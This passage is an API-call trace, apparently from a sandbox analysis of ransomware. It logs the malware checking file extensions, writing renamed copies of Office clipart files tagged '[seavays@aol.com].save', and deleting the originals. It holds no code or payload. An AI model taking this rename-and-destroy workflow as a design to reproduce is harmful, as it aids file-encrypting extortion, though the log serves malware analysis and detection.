[0192.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf")) returned 1 [0192.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0192.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0192.427] lstrlenW (lpString=".doc") returned 4 [0192.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.427] lstrlenW (lpString=".docx") returned 5 [0192.427] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0192.427] lstrlenW (lpString=".pdf") returned 4 [0192.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.427] lstrlenW (lpString=".xls") returned 4 [0192.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.427] lstrlenW (lpString=".xlsx") returned 5 [0192.428] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0192.428] lstrlenW (lpString=".ppt") returned 4 [0192.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0192.428] lstrlenW (lpString=".zip") returned 4 [0192.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.428] lstrlenW (lpString=".rar") returned 4 [0192.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.428] lstrlenW (lpString=".bz2") returned 4 [0192.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.428] lstrlenW (lpString=".7z") returned 3 [0192.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0192.428] lstrlenW (lpString=".dbf") returned 4 [0192.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0192.428] lstrlenW (lpString=".1cd") returned 4 [0192.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0192.428] lstrlenW (lpString=".jpg") returned 4 [0192.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.430] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=17662) returned 1 [0192.430] CloseHandle (hObject=0x550) returned 1 [0192.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf")) returned 0x220 [0192.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0192.432] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.432] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0192.434] GetLastError () returned 0x0 [0192.434] ReadFile (in: hFile=0x550, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x44fe, lpOverlapped=0x0) returned 1 [0192.437] WriteFile (in: hFile=0x51c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x4500, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4500, lpOverlapped=0x0) returned 1 [0192.438] ReadFile (in: hFile=0x550, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.438] WriteFile (in: hFile=0x51c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0192.439] SetEndOfFile (hFile=0x51c) returned 1 [0192.439] CloseHandle (hObject=0x51c) returned 1 [0192.439] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.439] SetEndOfFile (hFile=0x550) returned 1 [0192.444] CloseHandle (hObject=0x550) returned 1 [0192.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf")) returned 1 [0192.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0192.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0192.446] lstrlenW (lpString=".doc") returned 4 [0192.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.446] lstrlenW (lpString=".docx") returned 5 [0192.446] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0192.446] lstrlenW (lpString=".pdf") returned 4 [0192.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.446] lstrlenW (lpString=".xls") returned 4 [0192.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.446] lstrlenW (lpString=".xlsx") returned 5 [0192.446] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0192.446] lstrlenW (lpString=".ppt") returned 4 [0192.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0192.447] lstrlenW (lpString=".zip") returned 4 [0192.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.447] lstrlenW (lpString=".rar") returned 4 [0192.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.447] lstrlenW (lpString=".bz2") returned 4 [0192.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.447] lstrlenW (lpString=".7z") returned 3 [0192.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0192.447] lstrlenW (lpString=".dbf") returned 4 [0192.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0192.447] lstrlenW (lpString=".1cd") returned 4 [0192.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0192.447] lstrlenW (lpString=".jpg") returned 4 [0192.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.448] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=18212) returned 1 [0192.448] CloseHandle (hObject=0x550) returned 1 [0192.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf")) returned 0x220 [0192.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0192.587] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.587] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0192.874] GetLastError () returned 0x0 [0192.874] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x4724, lpOverlapped=0x0) returned 1 [0192.876] WriteFile (in: hFile=0x518, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4730, lpOverlapped=0x0) returned 1 [0192.878] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.878] WriteFile (in: hFile=0x518, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0192.878] SetEndOfFile (hFile=0x518) returned 1 [0192.879] CloseHandle (hObject=0x518) returned 1 [0192.879] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.879] SetEndOfFile (hFile=0x434) returned 1 [0192.883] CloseHandle (hObject=0x434) returned 1 [0192.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf")) returned 1 [0192.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0192.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0192.889] lstrlenW (lpString=".doc") returned 4 [0192.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.889] lstrlenW (lpString=".docx") returned 5 [0192.889] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0192.889] lstrlenW (lpString=".pdf") returned 4 [0192.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.889] lstrlenW (lpString=".xls") returned 4 [0192.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.889] lstrlenW (lpString=".xlsx") returned 5 [0192.889] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0192.889] lstrlenW (lpString=".ppt") returned 4 [0192.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0192.889] lstrlenW (lpString=".zip") returned 4 [0192.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.890] lstrlenW (lpString=".rar") returned 4 [0192.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.890] lstrlenW (lpString=".bz2") returned 4 [0192.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.890] lstrlenW (lpString=".7z") returned 3 [0192.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0192.890] lstrlenW (lpString=".dbf") returned 4 [0192.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0192.890] lstrlenW (lpString=".1cd") returned 4 [0192.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0192.890] lstrlenW (lpString=".jpg") returned 4 [0192.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0192.913] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=7500) returned 1 [0192.913] CloseHandle (hObject=0x434) returned 1 [0192.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf")) returned 0x220 [0192.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0192.914] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.915] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0192.917] GetLastError () returned 0x0 [0192.917] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1d4c, lpOverlapped=0x0) returned 1 [0192.920] WriteFile (in: hFile=0x518, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1d50, lpOverlapped=0x0) returned 1 [0192.922] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.922] WriteFile (in: hFile=0x518, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0192.922] SetEndOfFile (hFile=0x518) returned 1 [0192.922] CloseHandle (hObject=0x518) returned 1 [0192.923] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.923] SetEndOfFile (hFile=0x434) returned 1 [0192.927] CloseHandle (hObject=0x434) returned 1 [0192.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf")) returned 1 [0193.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0193.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0193.132] lstrlenW (lpString=".doc") returned 4 [0193.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.132] lstrlenW (lpString=".docx") returned 5 [0193.132] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0193.132] lstrlenW (lpString=".pdf") returned 4 [0193.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.133] lstrlenW (lpString=".xls") returned 4 [0193.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.133] lstrlenW (lpString=".xlsx") returned 5 [0193.133] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0193.133] lstrlenW (lpString=".ppt") returned 4 [0193.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0193.133] lstrlenW (lpString=".zip") returned 4 [0193.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.133] lstrlenW (lpString=".rar") returned 4 [0193.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.133] lstrlenW (lpString=".bz2") returned 4 [0193.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.133] lstrlenW (lpString=".7z") returned 3 [0193.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0193.133] lstrlenW (lpString=".dbf") returned 4 [0193.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0193.133] lstrlenW (lpString=".1cd") returned 4 [0193.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0193.134] lstrlenW (lpString=".jpg") returned 4 [0193.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0193.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0193.134] lstrlenW (lpString=".doc") returned 4 [0193.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.134] lstrlenW (lpString=".docx") returned 5 [0193.134] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0193.134] lstrlenW (lpString=".pdf") returned 4 [0193.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.134] lstrlenW (lpString=".xls") returned 4 [0193.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.135] lstrlenW (lpString=".xlsx") returned 5 [0193.135] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0193.135] lstrlenW (lpString=".ppt") returned 4 [0193.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0193.135] lstrlenW (lpString=".zip") returned 4 [0193.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.135] lstrlenW (lpString=".rar") returned 4 [0193.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString=".bz2") returned 4 [0193.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString=".7z") returned 3 [0193.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0193.135] lstrlenW (lpString=".dbf") returned 4 [0193.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0193.135] lstrlenW (lpString=".1cd") returned 4 [0193.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68 [0193.136] lstrlenW (lpString=".jpg") returned 4 [0193.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.136] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0193.136] lstrlenW (lpString="J0187839.WMF") returned 12 [0193.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0193.137] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=5372) returned 1 [0193.137] CloseHandle (hObject=0x434) returned 1 [0193.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf")) returned 0x220 [0193.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0193.138] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.139] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0193.140] GetLastError () returned 0x0 [0193.140] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x14fc, lpOverlapped=0x0) returned 1 [0193.142] WriteFile (in: hFile=0x344, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1500, lpOverlapped=0x0) returned 1 [0193.143] ReadFile (in: hFile=0x434, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.143] WriteFile (in: hFile=0x344, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.143] SetEndOfFile (hFile=0x344) returned 1 [0193.144] CloseHandle (hObject=0x344) returned 1 [0193.144] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.144] SetEndOfFile (hFile=0x434) returned 1 [0193.147] CloseHandle (hObject=0x434) returned 1 [0193.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 